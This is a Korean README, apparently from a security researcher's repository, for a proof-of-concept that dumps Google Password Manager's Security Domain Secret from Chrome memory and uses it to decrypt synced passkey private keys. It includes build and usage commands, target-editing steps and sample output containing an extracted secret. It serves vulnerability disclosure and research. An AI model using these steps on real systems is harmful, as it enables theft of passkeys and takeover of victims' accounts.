
Chrome 프로세스 메모리에서 Google Password Manager 보안 도메인 시크릿을 추출하고 동기화된 GPM 패스키 ECDSA P-256 개인 키를 복호화하는 PoC입니다.
이 도구는 Pass-ta-key Golden Attack의 PoC 구현으로, Chrome 프로세스 메모리에서 **Google Password Manager(GPM)**의 **Security Domain Secret(SDS)**을 추출하고, 각 GPM 패스키에 대해 로컬에 저장된 WebauthnCredentialSpecifics 레코드를 파싱하며, 추출된 SDS를 사용하여 동기화된 패스키의 ECDSA P-256 개인 키를 복호화하는 새로운 방법입니다.
영향받는 버전: 이 취약점은 아키텍처 결함을 악용하기 때문에 모든 릴리스 채널(Stable, Beta, Dev, Canary)의 모든 Chrome 버전이 영향을 받습니다.
전체 기술 분석은 제 블로그 게시물을 참고하세요: https://0rcruxe.github.io/posts/pass-ta-key-golden-attack-sds-extraction/
[!WARNING] 교육 및 연구 목적으로만 사용하세요. 소유하고 있거나 명시적으로 검사 권한을 받은 시스템에서만 사용하세요. 어떠한 종류의 보증도 없이 있는 그대로 제공됩니다.
CBOR 버퍼를 캡처하여 enclave 보안 도메인에 대한 장치 온보딩 중에 Chrome 프로세스 메모리에서 SDS를 추출합니다.
x86_64-w64-mingw32-gcc -O2 -o sds_extractor.exe sds_extractor.c -lws2_32 -liphlpapi -static
소스 파일 내부의 Chrome 프로필 경로를 편집하여 특정 Google 계정을 대상으로 지정합니다. Chrome을 열고 컴파일된 바이너리를 실행한 다음, 패스키 인증(로그인 또는 등록)을 트리거하여 enclave 보안 도메인에 장치 등록을 발생시키고 메모리 내 전송 중에 SDS를 캡처합니다.
================================================================
POC - Security Domain Secret (SDS) Extraction
================================================================
[*] Winsock initialized
[*] 'passkey_enclave_state' deleted
[*] Browser PID : 3016
[*] enclave.ua5v.com resolved:
142.251.209.142
[*] Monitoring TCP connections ...
[19:06:23.157] [FILE] passkey_enclave_state CREATED
[*] Scanning memory for 10 seconds...
[19:06:23.478] [+] New TCP connection detected -> 142.251.209.142
[19:06:23.828] pass #5 1106 regions 0 candidate
[19:06:24.410] pass #10 1106 regions 0 candidate
[19:06:24.511] pass #11 1106 regions 1 candidate
...
[19:06:33.206] pass #97 1121 regions 1 candidate
================================================================
[+] Security Domain Secret (SDS) Dumped : 1 candidate
================================================================
#1
Patterns : keys/wrap & passkeys/assert
----- [keys/wrap] @ 0x000032D401D10900 -----
000032D401D10900 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000032D401D10910 00 00 00 00 00 00 00 00 00 00 cd cd cd cd cd cd ................
000032D401D10920 cd cd cd cd cd cd 01 00 00 00 81 a3 63 63 6d 64 ............ccmd
000032D401D10930 69 6b 65 79 73 2f 77 72 61 70 63 6b 65 79 58 20 ikeys/wrapckeyX
000032D401D10940 41 f3 37 a9 35 2c 46 5d 0e c0 5f bc 28 0f 31 4a A.7.5,F].._.(.1J <<< SDS start
000032D401D10950 05 9e aa 4e d1 04 cb b2 de 31 00 7a 94 0b a1 85 ...N.....1.z.... <<< SDS end
000032D401D10960 67 70 75 72 70 6f 73 65 76 73 65 63 75 72 69 74 gpurposevsecurit
000032D401D10970 79 20 64 6f 6d 61 69 6e 20 73 65 63 72 65 74 cd y domain secret.
000032D401D10980 cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd ................
000032D401D10990 cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd cd ................
----- [passkeys/assert] @ 0x000032D401FD8A42 -----
000032D401FD8A42 00 08 00 00 00 00 00 00 00 08 00 00 00 00 00 00 ................
000032D401FD8A52 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ................
000032D401FD8A62 00 81 a5 63 63 6d 64 6f 70 61 73 73 6b 65 79 73 ...ccmdopasskeys
000032D401FD8A72 2f 61 73 73 65 72 74 66 73 65 63 72 65 74 58 20 /assertfsecretX
000032D401FD8A82 41 f3 37 a9 35 2c 46 5d 0e c0 5f bc 28 0f 31 4a A.7.5,F].._.(.1J <<< SDS start
000032D401FD8A92 05 9e aa 4e d1 04 cb b2 de 31 00 7a 94 0b a1 85 ...N.....1.z.... <<< SDS end
000032D401FD8AA2 67 72 65 71 75 65 73 74 a1 64 72 70 49 64 6a 67 grequest.drpIdjg
000032D401FD8AB2 69 74 68 75 62 2e 63 6f 6d 68 70 72 6f 74 6f 62 ithub.comhprotob
000032D401FD8AC2 75 66 59 01 77 0a 10 b3 a4 18 af ce 0e b6 0e c6 ufY.w...........
000032D401FD8AD2 67 0d e2 6c 1c d1 c2 12 10 95 9f 7f c5 d3 dc 19 g..l............
Security Domain Secret (SDS) : 41f337a9352c465d0ec05fbc280f314a059eaa4ed104cbb2de31007a940ba185
[+] Done. SDS successfully extracted. Exiting.
https://github.com/user-attachments/assets/883fd09b-8065-4501-8176-3c1280da202b
Chrome 프로필 내 /Sync Data/LevelDB에 저장된 LevelDB 데이터베이스 디렉터리를 파싱하고, WebauthnCredentialSpecifics 레코드를 추출한 뒤, 추출된 SDS를 사용하여 GPM 패스키의 ECDSA P-256 개인 키를 복호화합니다.
pip install -r requirements.txt
webauthn_credential_specifics.proto 파일은 이미 webauthn_credential_specifics_pb2.py로 컴파일되어 저장소와 함께 제공됩니다.
usage: passkey_extractor.py [-h] <command> [options]
Extract and decrypt Google Password Manager passkeys from a LevelDB database.
commands:
extract Extract WebauthnCredentialSpecifics records from a LevelDB directory.
--leveldb-dir DIR Path to the LevelDB directory.
--output-dir DIR Directory where blobs and metadata are written.
decrypt Decrypt a WebAuthn private key (ECDSA P-256) GPM passkey blob using the SDS.
--blob FILE Path to the encrypted blob (enc_<id>.bin).
--sds HEX 32-byte Security Domain Secret (SDS), 64 hex chars.
--output-dir DIR Directory where the recovered private key is written.
examples:
python passkey_extractor.py extract --leveldb-dir ./LevelDB --output-dir ./out
python passkey_extractor.py decrypt --blob ./out/enc_xxxx.bin --sds <64_hex> --output-dir ./out
WebauthnCredentialSpecifics 레코드 추출:

GPM 패스키의 ECDSA P-256 개인 키 복호화:
